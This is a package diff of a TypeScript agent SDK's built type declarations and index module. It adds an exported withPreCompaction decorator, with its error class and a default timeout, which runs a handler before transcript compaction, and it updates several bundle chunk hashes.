export { c as APPROVAL_MODES, d as AfterToolCallContext, e as AgentBuilder, f as AgentDefinitionError, g as AgentExecutionContext, h as AgentManifest, i as AgentManifestSource, j as AgentManifestTool, k as AgentRoute, l as AgentRouteContext, m as AgentRunInfo, n as AgentsPluginOptions, o as ApiErrorContext, p as ApiErrorDecision, q as ApiErrorPolicy, r as ApprovalMode, t as ApprovalRequest, B as BeforeToolCallContext, u as CompiledContextWindow, v as ContextualTool, D as DefinitionOrThunk, w as DelegationTimeoutError, E as EphemeralAgent, L as LLMCallContext, M as McpApprovalSpec, x as McpFileError, y as McpRegistryConfig, z as McpRequestContext, F as McpSelection, P as ProcessInputContext, R as RuntimeOverrides, G as SdkAgentHandle, I as SdkMessage, J as SdkSendOptions, K as SdkTurnHandle, N as Segment, O as ShouldAutoApproveOptions, T as ToolCallVeto, Q as ToolHooks, U as ToolHooksPlugin, W as WRITE_SCOPED_TOOLS, V as agentsPlugin, X as applyPosture, Y as buildModelSelection, Z as compileAgentModule, _ as compileContextWindow, $ as compileLoadedAgentModule, a0 as compileProjectContext, a1 as compileSkills, a2 as createAgentExecutionContext, a3 as createApiErrorHandler, a4 as createSdkAgentStream, a5 as createThinkTagExtractor, a6 as createToolHooksPlugin, a7 as extractThinkTagStream, a8 as generateAgentManifest, a9 as generateAgentRoutes, aa as isAgentContext, ab as loadMcpJson, ac as mcpRegistry, ad as mcpToolApprovals, ae as projectContextMetadataOnlyKnobs, af as reasoningEffortOf, ag as resolveMcpServers, ah as runWithApiErrorHandling, ai as shouldAutoApprove, aj as toAgentFactory, ak as translateSdkEvent, al as withClockCap, am as withEphemeralAgent } from './bridge-entry-C0MwIOpc.js';
|
|
7
7
|
import { TheokitAgentError } from '@theokit/sdk/errors';
|
|
8
8
|
export * from '@theokit/sdk/errors';
|
|
9
9
|
export { ConfigurationError, BudgetExceededError as WindowBudgetExceededError } from '@theokit/sdk/errors';
|
|
10
|
-
import { G as Guardrail, a as CompiledAgentOptions, b as CompiledTool } from './agent-compiler-
|
|
11
|
-
export { c as CompatImportUnsupportedError, d as CostBudgetExceededError, e as GuardrailAction, f as GuardrailError, g as GuardrailPhase, h as GuardrailResult, i as GuardrailViolationError, H as HookApprovalGate, j as HookApprovalRequest, k as HookGateUnsupportedError, M as MalformedGuardrailResultError, l as SkillsRequestContext, S as SkillsSelection, T as ToolWalkResult, m as ToolboxWalkResult, U as UnreadableTextPayloadError, n as compileTools, r as resolveEnabledSkills } from './agent-compiler-
|
|
12
|
-
import { S as SettingSourcesSelection } from './setting-sources-gate-
|
|
13
|
-
export { C as CompatSurface, a as GatedCompatSource, G as GatedSettingSource, P as ProjectSettingsGrant, R as ResolvedCompatSource, b as SettingSourceCapability, U as UntrustedSettingSourceError, r as resolveCompatSources, c as resolveSettingSources } from './setting-sources-gate-
|
|
14
|
-
import { L as LoopStrategy, R as ReflectionStrategy, b as RoundStreamFactory, S as StreamEvent, c as DelegationResult } from './delegation-scoring-
|
|
15
|
-
export { A as AgentStopReason, d as AgentStreamEvent, e as AgentTurnMetadata, f as ApprovalRequiredEvent, g as ArtifactChunkEvent, h as ArtifactStartEvent, B as BackgroundDelegation, i as BudgetExceededError, C as CheckpointSavedEvent, j as DEFAULT_MAX_ITERATIONS, k as DelegateFn, a as DelegateOptions, l as DelegationBudgetExceededError, m as DelegationError, n as DelegationPort, D as DelegationTarget, o as DoneEvent, E as ErrorEvent, F as FileEditEvent, I as IterationEvent, p as LoopFinishReason, q as LoopOutcome, r as LoopStrategyConfig, P as PartialToolCallEvent, s as ReflectionContext, t as ReflectionResult, u as ReflectionStrategyConfig, v as RunStartedEvent, w as ScoreVerdict, x as ScoredDelegation, y as Scorer, z as StateUpdateEvent, T as TextDeltaEvent, G as ThinkingEvent, H as ToolCallEvent, J as ToolResultEvent, K as delegate, M as delegateBackground, N as delegateWithScoring, O as isApprovalRequired, Q as isDone, U as isError, V as isPartialToolCall, W as isTextDelta, X as isToolCall, Y as isToolResult, Z as ladderReflectionStrategy, _ as loopStrategyConfigSchema, $ as noopReflectionStrategy, a0 as presentUIMessageStream, a1 as reflectionStrategyConfigSchema, a2 as resolveLoopStrategy, a3 as streamAgentResponse } from './delegation-scoring-
|
|
16
|
-
export { a as AGENT_BRAND, A as AgentDefinition, D as DefineAgentConfig, I as InferAgentInput, b as InferAgentToolNames, c as compileAgentDefinition, i as isAgentDefinition } from './define-agent-
|
|
10
|
+
import { G as Guardrail, a as CompiledAgentOptions, b as CompiledTool } from './agent-compiler-B1F9iumK.js';
|
|
11
|
+
export { c as CompatImportUnsupportedError, d as CostBudgetExceededError, e as GuardrailAction, f as GuardrailError, g as GuardrailPhase, h as GuardrailResult, i as GuardrailViolationError, H as HookApprovalGate, j as HookApprovalRequest, k as HookGateUnsupportedError, M as MalformedGuardrailResultError, l as SkillsRequestContext, S as SkillsSelection, T as ToolWalkResult, m as ToolboxWalkResult, U as UnreadableTextPayloadError, n as compileTools, r as resolveEnabledSkills } from './agent-compiler-B1F9iumK.js';
|
|
12
|
+
import { S as SettingSourcesSelection } from './setting-sources-gate-BoTngPIn.js';
|
|
13
|
+
export { C as CompatSurface, a as GatedCompatSource, G as GatedSettingSource, P as ProjectSettingsGrant, R as ResolvedCompatSource, b as SettingSourceCapability, U as UntrustedSettingSourceError, r as resolveCompatSources, c as resolveSettingSources } from './setting-sources-gate-BoTngPIn.js';
|
|
14
|
+
import { L as LoopStrategy, R as ReflectionStrategy, b as RoundStreamFactory, S as StreamEvent, c as DelegationResult } from './delegation-scoring-BTuTKWkZ.js';
|
|
15
|
+
export { A as AgentStopReason, d as AgentStreamEvent, e as AgentTurnMetadata, f as ApprovalRequiredEvent, g as ArtifactChunkEvent, h as ArtifactStartEvent, B as BackgroundDelegation, i as BudgetExceededError, C as CheckpointSavedEvent, j as DEFAULT_MAX_ITERATIONS, k as DelegateFn, a as DelegateOptions, l as DelegationBudgetExceededError, m as DelegationError, n as DelegationPort, D as DelegationTarget, o as DoneEvent, E as ErrorEvent, F as FileEditEvent, I as IterationEvent, p as LoopFinishReason, q as LoopOutcome, r as LoopStrategyConfig, P as PartialToolCallEvent, s as ReflectionContext, t as ReflectionResult, u as ReflectionStrategyConfig, v as RunStartedEvent, w as ScoreVerdict, x as ScoredDelegation, y as Scorer, z as StateUpdateEvent, T as TextDeltaEvent, G as ThinkingEvent, H as ToolCallEvent, J as ToolResultEvent, K as delegate, M as delegateBackground, N as delegateWithScoring, O as isApprovalRequired, Q as isDone, U as isError, V as isPartialToolCall, W as isTextDelta, X as isToolCall, Y as isToolResult, Z as ladderReflectionStrategy, _ as loopStrategyConfigSchema, $ as noopReflectionStrategy, a0 as presentUIMessageStream, a1 as reflectionStrategyConfigSchema, a2 as resolveLoopStrategy, a3 as streamAgentResponse } from './delegation-scoring-BTuTKWkZ.js';
|
|
16
|
+
export { a as AGENT_BRAND, A as AgentDefinition, D as DefineAgentConfig, I as InferAgentInput, b as InferAgentToolNames, c as compileAgentDefinition, i as isAgentDefinition } from './define-agent-D1zBG-Ys.js';
|
|
17
17
|
import { RetryOptions } from '@theokit/sdk/retry';
|
|
18
18
|
export * from '@theokit/sdk/retry';
|
|
19
19
|
export { RetryOptions } from '@theokit/sdk/retry';
|
|
@@ -614,6 +614,85 @@ declare class GoalRunner {
|
|
|
614
614
|
*/
|
|
615
615
|
declare function formatGoalEvent(event: GoalEvent): string;
|
|
616
616
|
|
|
617
|
+
/**
|
|
618
|
+
* B-002 FR-001..003 — run work BEFORE compaction rewrites the transcript, and await it.
|
|
619
|
+
*
|
|
620
|
+
* A Decorator over {@link TranscriptCompactionStrategy} rather than a field on the call options or
|
|
621
|
+
* on the strategy config (plan ADR-1). The requirement is REGISTRATION: a consumer registers once
|
|
622
|
+
* and every `compact` on that strategy carries the handler, where a per-call option is silently
|
|
623
|
+
* absent from whichever call site forgot it. The strategy config is the serializable shape, and a
|
|
624
|
+
* function is not serializable.
|
|
625
|
+
*
|
|
626
|
+
* The decorated value satisfies the same interface, so every existing consumer accepts it unchanged.
|
|
627
|
+
*
|
|
628
|
+
* ## What this seam does NOT cover
|
|
629
|
+
*
|
|
630
|
+
* The SDK's auto-compaction path. When usage crosses its threshold the SDK compacts inside
|
|
631
|
+
* `persistTurnToTranscript`, builds its own summarizer, and fires `onCompact` afterwards — there is
|
|
632
|
+
* no consumer callback on that path and none can be added from here. Stated rather than left to be
|
|
633
|
+
* discovered by a handler that never fires; tracked upstream as `usetheokit/theokit-sdk#653`.
|
|
634
|
+
*/
|
|
635
|
+
/**
|
|
636
|
+
* Work to run before the transcript is rewritten.
|
|
637
|
+
*
|
|
638
|
+
* Receives a READONLY view of the pre-compaction transcript, and an `AbortSignal` that fires when the
|
|
639
|
+
* bound below is reached. The signal is additive, never the bound itself: signalling is not stopping,
|
|
640
|
+
* and a handler that ignores it still holds nothing up — the timeout is what releases compaction.
|
|
641
|
+
* What the signal buys is a COOPERATIVE handler being able to drop work that is now pointless
|
|
642
|
+
* instead of running on, detached, after the decorator stopped waiting for it.
|
|
643
|
+
*
|
|
644
|
+
* Receives a readonly view of the pre-compaction transcript — the reason the handler exists is to
|
|
645
|
+
* read what compaction is about to destroy. The array is a copy: `compact` documents that it never
|
|
646
|
+
* mutates its input, and handing a caller the live array would open a mutation path through that
|
|
647
|
+
* contract whose damage surfaces later, in the compacted output, pointing at nothing.
|
|
648
|
+
*/
|
|
649
|
+
type PreCompactionHandler = (messages: readonly CompressibleMessage[], signal: AbortSignal) => void | Promise<void>;
|
|
650
|
+
/** How a failed handler is reported, and how long one may take. */
|
|
651
|
+
interface PreCompactionOptions {
|
|
652
|
+
/**
|
|
653
|
+
* How long the handler may take before it is abandoned. Default {@link DEFAULT_HANDLER_TIMEOUT_MS}.
|
|
654
|
+
*
|
|
655
|
+
* A bound is required rather than optional: without one a handler that never resolves holds the
|
|
656
|
+
* compaction forever and the run meets the context wall instead — the outcome the seam exists to
|
|
657
|
+
* avoid. Generous by default, because a handler doing real persistence is slow, not broken.
|
|
658
|
+
*/
|
|
659
|
+
readonly timeoutMs?: number;
|
|
660
|
+
/**
|
|
661
|
+
* Called with the typed error when the handler fails or times out.
|
|
662
|
+
*
|
|
663
|
+
* Reported, never swallowed, and never fatal: compaction proceeds either way, because a run that
|
|
664
|
+
* cannot compact is worse off than one whose handler failed. Omitting this is opting into silence.
|
|
665
|
+
*/
|
|
666
|
+
readonly onError?: (error: PreCompactionHandlerError) => void;
|
|
667
|
+
}
|
|
668
|
+
/** Default bound on a handler: generous, because slow is not the same as hung. */
|
|
669
|
+
declare const DEFAULT_HANDLER_TIMEOUT_MS = 30000;
|
|
670
|
+
/**
|
|
671
|
+
* A pre-compaction handler rejected, threw, or exceeded its bound. Compaction proceeded anyway.
|
|
672
|
+
*
|
|
673
|
+
* Extends `TheokitAgentError` and not plain `Error`, because this package's error taxonomy is what
|
|
674
|
+
* `isTransientError` reads: an error outside it is invisible to every classifier downstream. The
|
|
675
|
+
* first version of this class extended `Error` and `tests/unit/error-taxonomy.test.ts` refused it —
|
|
676
|
+
* a gate worth more than the convention it enforces, since the failure it prevents is silent.
|
|
677
|
+
*
|
|
678
|
+
* `code` is stable so a caller can branch on the reason without matching message text.
|
|
679
|
+
*/
|
|
680
|
+
declare class PreCompactionHandlerError extends TheokitAgentError {
|
|
681
|
+
readonly name = "PreCompactionHandlerError";
|
|
682
|
+
/** `'timeout'` when the bound was exceeded, `'threw'` when the handler failed on its own. */
|
|
683
|
+
readonly reason: 'timeout' | 'threw';
|
|
684
|
+
constructor(message: string, reason: 'timeout' | 'threw', options?: {
|
|
685
|
+
readonly cause?: unknown;
|
|
686
|
+
});
|
|
687
|
+
}
|
|
688
|
+
/**
|
|
689
|
+
* Wrap `strategy` so `handler` runs, and is awaited, before the transcript is rewritten.
|
|
690
|
+
*
|
|
691
|
+
* Wrapping twice runs both handlers, outermost first — composition is the point of a decorator, and
|
|
692
|
+
* the alternative (a list the decorator manages) makes ordering implicit.
|
|
693
|
+
*/
|
|
694
|
+
declare function withPreCompaction(strategy: TranscriptCompactionStrategy, handler: PreCompactionHandler, options?: PreCompactionOptions): TranscriptCompactionStrategy;
|
|
695
|
+
|
|
617
696
|
/**
|
|
618
697
|
* M52 — the capability layer: object-oriented, composable authoring that produces the EXISTING narrow
|
|
619
698
|
* waist (`CompiledAgentOptions`), which `assembleM8CreateOptions` already turns into `Agent.create`
|
|
@@ -1550,4 +1629,4 @@ type AgentWithNarrowedList = Omit<typeof Agent$1, 'list'> & {
|
|
|
1550
1629
|
type AgentWithNarrowedListAlias = AgentWithNarrowedList;
|
|
1551
1630
|
declare const Agent: AgentWithNarrowedList;
|
|
1552
1631
|
|
|
1553
|
-
export { type A2AAuth, type A2ACapabilities, type A2ASkill, type A2AToolConfig, AcpClient, AcpMessageDecoder, type AcpTransport, Agent, type AgentCard, type AgentConfig, AgentConfigCapability, AgentManifestEntry, AgentModule, AgentRunner, AgentRunnerBuilder, type AgentRunnerRunOptions, type AgentShape, type AgentWithNarrowedListAlias, ApprovalOptions, ApprovalPosture, type BuildAgentCardOptions, CanUseToolCapability, type Capability, CapabilityConflictError, CapabilityPreset, CapabilityRegistry, CheckpointCapability, type CompactionCallOptions, type CompactionStrategyConfig, CompiledAgentOptions, type CompiledAgentOptionsDraft, CompiledTool, ContextWindowCapability, ContextWindowOptions, type CostGuardOptions, DEFAULT_KEEP_TOKENS, DelegationResult, FieldCapability, type FinalizedDraft, GoalRunner, type GoalRunnerDeps, Guardrail, GuardrailsCapability, HitlDecision, HookApprovalCapability, HumanInTheLoopCapability, HumanInTheLoopOptions, type InProcessApprovalRequest, InProcessApprovalRequiredError, type InProcessAwaitApproval, type ListOptionsWithoutPaginationAlias, LoopStrategy, MCP_PROTOCOL_VERSION, MainLoopCapability, MainLoopMeta, type McpJsonSchema, type McpServerInfo, McpServersCapability, type McpToolDescriptor, MemoryCapability, ModelCapability, type NamedTool, type OutputModerationOptions, type PiiOptions, PluginsCapability, ProjectContextCapability, type PromptInjectionOptions, type ProvenanceEntry, ReasoningEffort, ReflectionStrategy, RoundStreamFactory, RunContextCapability, SessionStoreCapability, SettingSourcesCapability, SettingSourcesSelection, SkillsCapability, SkillsOptions, SkillsOptionsCapability, SkillsResolverCapability, type StreamAgentTurnDeps, type StreamAgentTurnInProcessInput, StreamEvent, SubAgentsCapability, type Summarize, TelemetryCapability, type ToolComNome, type ToolDeclaration, ToolOptions, ToolboxCapability, type ToolboxSource, ToolsCapability, Toolset, ToolsetError, type TranscriptCompactionStrategy, UnknownCapabilityError, applyCapabilities, buildAgentCard, buildMcpToolDescriptors, compactionStrategyConfigSchema, costGuard, createA2ATool, createDraft, declareAgentShape, deriveConversationId, encodeAcpMessage, estimateTokens, formatGoalEvent, listSubagentNames, mcpServerInfo, moderateOutputStream, outputModeration, parseConversationId, piiDetector, promptInjectionDetector, resolveCompactionStrategy, runInputGuards, runOutputGuards, setOnce, streamAgentTurnInProcess, streamAgentUIMessages, textPayloadExtractor, tokenBudgetCompactionStrategy, unicodeNormalizer, wellKnownCardPath };
|
|
1632
|
+
export { type A2AAuth, type A2ACapabilities, type A2ASkill, type A2AToolConfig, AcpClient, AcpMessageDecoder, type AcpTransport, Agent, type AgentCard, type AgentConfig, AgentConfigCapability, AgentManifestEntry, AgentModule, AgentRunner, AgentRunnerBuilder, type AgentRunnerRunOptions, type AgentShape, type AgentWithNarrowedListAlias, ApprovalOptions, ApprovalPosture, type BuildAgentCardOptions, CanUseToolCapability, type Capability, CapabilityConflictError, CapabilityPreset, CapabilityRegistry, CheckpointCapability, type CompactionCallOptions, type CompactionStrategyConfig, CompiledAgentOptions, type CompiledAgentOptionsDraft, CompiledTool, ContextWindowCapability, ContextWindowOptions, type CostGuardOptions, DEFAULT_HANDLER_TIMEOUT_MS, DEFAULT_KEEP_TOKENS, DelegationResult, FieldCapability, type FinalizedDraft, GoalRunner, type GoalRunnerDeps, Guardrail, GuardrailsCapability, HitlDecision, HookApprovalCapability, HumanInTheLoopCapability, HumanInTheLoopOptions, type InProcessApprovalRequest, InProcessApprovalRequiredError, type InProcessAwaitApproval, type ListOptionsWithoutPaginationAlias, LoopStrategy, MCP_PROTOCOL_VERSION, MainLoopCapability, MainLoopMeta, type McpJsonSchema, type McpServerInfo, McpServersCapability, type McpToolDescriptor, MemoryCapability, ModelCapability, type NamedTool, type OutputModerationOptions, type PiiOptions, PluginsCapability, type PreCompactionHandler, PreCompactionHandlerError, type PreCompactionOptions, ProjectContextCapability, type PromptInjectionOptions, type ProvenanceEntry, ReasoningEffort, ReflectionStrategy, RoundStreamFactory, RunContextCapability, SessionStoreCapability, SettingSourcesCapability, SettingSourcesSelection, SkillsCapability, SkillsOptions, SkillsOptionsCapability, SkillsResolverCapability, type StreamAgentTurnDeps, type StreamAgentTurnInProcessInput, StreamEvent, SubAgentsCapability, type Summarize, TelemetryCapability, type ToolComNome, type ToolDeclaration, ToolOptions, ToolboxCapability, type ToolboxSource, ToolsCapability, Toolset, ToolsetError, type TranscriptCompactionStrategy, UnknownCapabilityError, applyCapabilities, buildAgentCard, buildMcpToolDescriptors, compactionStrategyConfigSchema, costGuard, createA2ATool, createDraft, declareAgentShape, deriveConversationId, encodeAcpMessage, estimateTokens, formatGoalEvent, listSubagentNames, mcpServerInfo, moderateOutputStream, outputModeration, parseConversationId, piiDetector, promptInjectionDetector, resolveCompactionStrategy, runInputGuards, runOutputGuards, setOnce, streamAgentTurnInProcess, streamAgentUIMessages, textPayloadExtractor, tokenBudgetCompactionStrategy, unicodeNormalizer, wellKnownCardPath, withPreCompaction };
|
package/dist/index.js
CHANGED
|
@@ -31,7 +31,7 @@ import {
|
|
|
31
31
|
streamAgentResponse,
|
|
32
32
|
streamAgentUIMessages,
|
|
33
33
|
toolRuntimeName
|
|
34
|
-
} from "./chunk-
|
|
34
|
+
} from "./chunk-DFGIED4E.js";
|
|
35
35
|
import {
|
|
36
36
|
APPROVAL_MODES,
|
|
37
37
|
AgentRunner,
|
|
@@ -39,6 +39,7 @@ import {
|
|
|
39
39
|
BudgetExceededError,
|
|
40
40
|
CompatImportUnsupportedError,
|
|
41
41
|
CostBudgetExceededError,
|
|
42
|
+
DEFAULT_HANDLER_TIMEOUT_MS,
|
|
42
43
|
DEFAULT_KEEP_TOKENS,
|
|
43
44
|
DEFAULT_MAX_ITERATIONS,
|
|
44
45
|
DelegationBudgetExceededError,
|
|
@@ -50,6 +51,7 @@ import {
|
|
|
50
51
|
HookGateUnsupportedError,
|
|
51
52
|
JudgeCredentialError,
|
|
52
53
|
MalformedGuardrailResultError,
|
|
54
|
+
PreCompactionHandlerError,
|
|
53
55
|
UnreadableTextPayloadError,
|
|
54
56
|
WRITE_SCOPED_TOOLS,
|
|
55
57
|
applyPosture,
|
|
@@ -87,8 +89,9 @@ import {
|
|
|
87
89
|
translateSdkEvent,
|
|
88
90
|
unicodeNormalizer,
|
|
89
91
|
withClockCap,
|
|
90
|
-
withEphemeralAgent
|
|
91
|
-
|
|
92
|
+
withEphemeralAgent,
|
|
93
|
+
withPreCompaction
|
|
94
|
+
} from "./chunk-72QVLTDI.js";
|
|
92
95
|
import "./chunk-MJ6FRILJ.js";
|
|
93
96
|
import {
|
|
94
97
|
AGENT_BRAND,
|
|
@@ -98,7 +101,7 @@ import {
|
|
|
98
101
|
isAgentDefinition,
|
|
99
102
|
resolveCompatSources,
|
|
100
103
|
resolveSettingSources
|
|
101
|
-
} from "./chunk-
|
|
104
|
+
} from "./chunk-NKPNVQBF.js";
|
|
102
105
|
import "./chunk-M5J3Q6YC.js";
|
|
103
106
|
import {
|
|
104
107
|
ConfigurationError
|
|
@@ -1187,6 +1190,7 @@ export {
|
|
|
1187
1190
|
ContextWindowMarginError,
|
|
1188
1191
|
ContextualTool,
|
|
1189
1192
|
CostBudgetExceededError,
|
|
1193
|
+
DEFAULT_HANDLER_TIMEOUT_MS,
|
|
1190
1194
|
DEFAULT_KEEP_TOKENS,
|
|
1191
1195
|
DEFAULT_MAX_ITERATIONS,
|
|
1192
1196
|
DelegationBudgetExceededError,
|
|
@@ -1212,6 +1216,7 @@ export {
|
|
|
1212
1216
|
MemoryCapability,
|
|
1213
1217
|
ModelCapability,
|
|
1214
1218
|
PluginsCapability,
|
|
1219
|
+
PreCompactionHandlerError,
|
|
1215
1220
|
ProjectContextCapability,
|
|
1216
1221
|
Provider,
|
|
1217
1222
|
RunContextCapability,
|
|
@@ -1331,6 +1336,7 @@ export {
|
|
|
1331
1336
|
verifyLayerOrdering,
|
|
1332
1337
|
wellKnownCardPath,
|
|
1333
1338
|
withClockCap,
|
|
1334
|
-
withEphemeralAgent
|
|
1339
|
+
withEphemeralAgent,
|
|
1340
|
+
withPreCompaction
|
|
1335
1341
|
};
|
|
1336
1342
|
//# sourceMappingURL=index.js.map
|